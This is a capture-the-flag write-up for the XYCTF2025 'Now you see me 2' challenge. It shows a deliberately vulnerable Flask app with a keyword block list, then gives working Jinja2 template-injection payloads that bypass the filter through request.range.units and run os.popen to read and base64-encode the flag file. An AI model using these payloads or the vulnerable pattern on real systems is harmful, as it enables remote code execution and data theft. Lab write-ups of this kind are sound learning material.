XYCTF2025 Now you see me 2 writeup

160 Views
No Comments

A total of 8211 characters, expected to take 21 minutes to complete reading.

Title

This question is a repetition of the previous question. Look at the previous question here: https://www.mcso.top/computer/ctf/xyctf2025-now-you-see-me-1/

Source code:

# -*- encoding: utf-8 -*-
'''
@File    :   src.py
@Time    :   2025/03/29 01:20:49
@Author  :   LamentXU 
'''
# DNS config: No reversing shells for you.
import flask
import time, random
import flask
import sys
enable_hook =  False
counter = 0
def audit_checker(event,args):
    global counter
    if enable_hook:
        if event in ["exec", "compile"]:
            counter += 1
            if counter > 4:
                raise RuntimeError(event)
# 多限制了 referrer authorization user pragma mimetype
# 允许了 g|a referer
lock_within = [
    "debug", "form", "args", "values", 
    "headers", "json", "stream", "environ",
    "files", "method", "cookies", "application", 
    'data', 'url' ,'\'', '"', 
    "getattr", "_", "{{", "}}", 
    "[", "]", "\\", "/","self", 
    "lipsum", "cycler", "joiner", "namespace", 
    "init", "dir", "join", "decode", 
    "batch", "first", "last" , 
    " ","dict","list","g.",
    "os", "subprocess",
    "GLOBALS", "lower", "upper",
    "BUILTINS", "select", "WHOAMI", "path",
    "os", "popen", "cat", "nl", "app", "setattr", "translate",
    "sort", "base64", "encode", "\\u", "pop", "referrer",
    "authorization","user", "pragma", "mimetype", "origin"
    "Isn't that enough? Isn't that enough."] 
# lock_within = []
allowed_endpoint = ["static", "index", "r3al_ins1de_th0ught"]
app = flask.Flask(__name__)
@app.route('/')
def index():
    return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
    quote = flask.request.args.get('spell')
    if quote:
        try:
            if quote.startswith("fly-"):
                for i in lock_within:
                    if i in quote:
                        print(i)
                        return "wouldn't it be easier to give in?"
                time.sleep(random.randint(10, 30)/10) # No time based injections.
                flask.render_template_string('Let-the-magic-{#'+f'{quote}'+'#}')
                print("Registered endpoints and functions:")
                for endpoint, func in app.view_functions.items():
                    if endpoint not in allowed_endpoint:
                        del func # No creating backdoor functions & endpoints.
                        return f'What are you doing with {endpoint} hacker?'

                return 'Let the true magic begin!'
            else:
                return 'My inside world is always hidden.'
        except Exception as e:
            print(e)
            return 'Error'
    else:
        return 'Welcome to Hidden_route!'

if __name__ == '__main__':
    import os
    try:
        import _posixsubprocess
        del _posixsubprocess.fork_exec
    except:
        pass
    import subprocess
    del os.popen
    del os.system
    del subprocess.Popen
    del subprocess.call
    del subprocess.run
    del subprocess.check_output
    del subprocess.getoutput
    del subprocess.check_call
    del subprocess.getstatusoutput
    del subprocess.PIPE
    del subprocess.STDOUT
    del subprocess.CalledProcessError
    del subprocess.TimeoutExpired
    del subprocess.SubprocessError
    sys.addaudithook(audit_checker)
    app.run(debug=False, host='0.0.0.0', port=80)

Ideas

Let's look at the source code first and find that the root of the disabled word is different. We can find out which disabled words have been changed through the following code:

lock_within1 = [
    "debug", "form", "args", "values", 
    "headers", "json", "stream", "environ",
    "files", "method", "cookies", "application", 
    'data', 'url' ,'\'', '"', 
    "getattr", "_", "{{", "}}", 
    "[", "]", "\\", "/","self", 
    "lipsum", "cycler", "joiner", "namespace", 
    "init", "dir", "join", "decode", 
    "batch", "first", "last" , 
    " ","dict","list","g.",
    "os", "subprocess",
    "g|a", "GLOBALS", "lower", "upper",
    "BUILTINS", "select", "WHOAMI", "path",
    "os", "popen", "cat", "nl", "app", "setattr", "translate",
    "sort", "base64", "encode", "\\u", "pop", "referer",
    "The closer you see, the lesser you find."] 

lock_within2 = [
    "debug", "form", "args", "values", 
    "headers", "json", "stream", "environ",
    "files", "method", "cookies", "application", 
    'data', 'url' ,'\'', '"', 
    "getattr", "_", "{{", "}}", 
    "[", "]", "\\", "/","self", 
    "lipsum", "cycler", "joiner", "namespace", 
    "init", "dir", "join", "decode", 
    "batch", "first", "last" , 
    " ","dict","list","g.",
    "os", "subprocess",
    "GLOBALS", "lower", "upper",
    "BUILTINS", "select", "WHOAMI", "path",
    "os", "popen", "cat", "nl", "app", "setattr", "translate",
    "sort", "base64", "encode", "\\u", "pop", "referrer",
    "authorization","user", "pragma", "mimetype", "origin"
    "Isn't that enough? Isn't that enough."] 

for i in lock_within2:
  if i not in lock_within1:
    print(i)

It was found that the bypass method of the previous question could not be used, and the following words were mostly disabled:

referrer
authorization
user
pragma
mimetype

Then look again request What else can be used in the library? Retrieve it with the following code:

lock_within2 = [
    "debug", "form", "args", "values", 
    "headers", "json", "stream", "environ",
    "files", "method", "cookies", "application", 
    'data', 'url' ,'\'', '"', 
    "getattr", "_", "{{", "}}", 
    "[", "]", "\\", "/","self", 
    "lipsum", "cycler", "joiner", "namespace", 
    "init", "dir", "join", "decode", 
    "batch", "first", "last" , 
    " ","dict","list","g.",
    "os", "subprocess",
    "GLOBALS", "lower", "upper",
    "BUILTINS", "select", "WHOAMI", "path",
    "os", "popen", "cat", "nl", "app", "setattr", "translate",
    "sort", "base64", "encode", "\\u", "pop", "referrer",
    "authorization","user", "pragma", "mimetype", "origin"
    "Isn't that enough? Isn't that enough."] 

request =['__annotations__', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__enter__', '__eq__', '__exit__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_cached_json', '_get_file_stream', '_get_stream_for_parsing', '_load_form_data', '_parse_content_type', 'accept_charsets', 'accept_encodings', 'accept_languages', 'accept_mimetypes', 'access_control_request_headers', 'access_control_request_method', 'access_route', 'application', 'args', 'authorization', 'base_url', 'blueprint', 'blueprints', 'cache_control', 'close', 'content_encoding', 'content_length', 'content_md5', 'content_type', 'cookies', 'data', 'date', 'dict_storage_class', 'endpoint', 'environ', 'files', 'form', 'form_data_parser_class', 'from_values', 'full_path', 'get_data', 'get_json', 'headers', 'host', 'host_url', 'if_match', 'if_modified_since', 'if_none_match', 'if_range', 'if_unmodified_since', 'input_stream', 'is_json', 'is_multiprocess', 'is_multithread', 'is_run_once', 'is_secure', 'json', 'json_module', 'list_storage_class', 'make_form_data_parser', 'max_content_length', 'max_form_memory_size', 'max_form_parts', 'max_forwards', 'method', 'mimetype', 'mimetype_params', 'on_json_loading_failed', 'origin', 'parameter_storage_class', 'path', 'pragma', 'query_string', 'range', 'referrer', 'remote_addr', 'remote_user', 'root_path', 'root_url', 'routing_exception', 'scheme', 'script_root', 'server', 'shallow', 'stream', 'trusted_hosts', 'url', 'url_root', 'url_rule', 'user_agent', 'user_agent_class', 'values', 'view_args', 'want_form_data_parsed']

for i in request:
    flag = True
    for j in lock_within2:
        if j in i:
            flag = False
            break
    if flag:
        print(i)
blueprint
blueprints
date
endpoint
origin
range
scheme
server
shallow

The above can still be used, one request.range property.

To request Found in source code range property, again. HTTP Header, you can try to inject:

XYCTF2025 Now you see me 2 writeup

XYCTF2025 Now you see me 2 writeup

Save in units Inside, therefore. request.range.units can be utilized.

XYCTF2025 Now you see me 2 writeup

We are in Header Add this attribute to the, and then request.range.units We can get our incoming args, that is, you can construct request.args, you can enter any character!

According to the same construction method as in the previous question:

spell:fly-%23}{%print((((((((((()|attr((request|attr(request.range.units)).get(0|string))|attr((request|attr(request.range.units)).get(1|string))|attr((request|attr(request.range.units)).get(2|string)))(0)|attr((request|attr(request.range.units)).get(3|string)))())|attr((request|attr(request.range.units)).get(2|string)))(137))|attr((request|attr(request.range.units)).get(4|string))|attr((request|attr(request.range.units)).get(5|string))|attr((request|attr(request.range.units)).get(2|string)))((request|attr(request.range.units)).get(6|string)))|attr((request|attr(request.range.units)).get(2|string)))((request|attr(request.range.units)).get(7|string)))((request|attr(request.range.units)).get(8|string)))%}{%23
0:__class__
1:__bases__
2:__getitem__
3:__subclasses__
4:__init__
5:__globals__
6:__builtins__
7:exec
8:a=__import__('os').popen('xxx').read()

According to the sleep time, judge the file in 1M About the size, it is definitely not possible to read this file through delayed blind annotation (this is a monkey year and a horse month!):

XYCTF2025 Now you see me 2 writeup

We can only find the obvious, we note:

XYCTF2025 Now you see me 2 writeup

We can inject the value to be returned into endpoint on this variable.

spell:fly-%23}{%print((((((((((()|attr((request|attr(request.range.units)).get(0|string))|attr((request|attr(request.range.units)).get(1|string))|attr((request|attr(request.range.units)).get(2|string)))(0)|attr((request|attr(request.range.units)).get(3|string)))())|attr((request|attr(request.range.units)).get(2|string)))(137))|attr((request|attr(request.range.units)).get(4|string))|attr((request|attr(request.range.units)).get(5|string))|attr((request|attr(request.range.units)).get(2|string)))((request|attr(request.range.units)).get(6|string)))|attr((request|attr(request.range.units)).get(2|string)))((request|attr(request.range.units)).get(7|string)))((request|attr(request.range.units)).get(8|string)))%}{%23
0:__class__
1:__bases__
2:__getitem__
3:__subclasses__
4:__init__
5:__globals__
6:__builtins__
7:exec
8:a=__import__('os').popen('base64 /flag*').read();__import__('flask').current_app.view_functions[a]=lambda:""

This gets the base64 encoded file like this and decodes it:

XYCTF2025 Now you see me 2 writeup

XYCTF2025 Now you see me 2 writeup

XYCTF2025 Now you see me 2 writeup

One PNG Pictures? Looks like another steganography topic. This steganography has not been done... It seems that you can only use the website to solve.

According The writeup of the person, with this website can be solved:https://toolgg.com/image-decoder.html.

Drag the picture in and get flag!

XYCTF2025 Now you see me 2 writeup

END
 0
Comment(No Comments)
验证码
en_USEnglish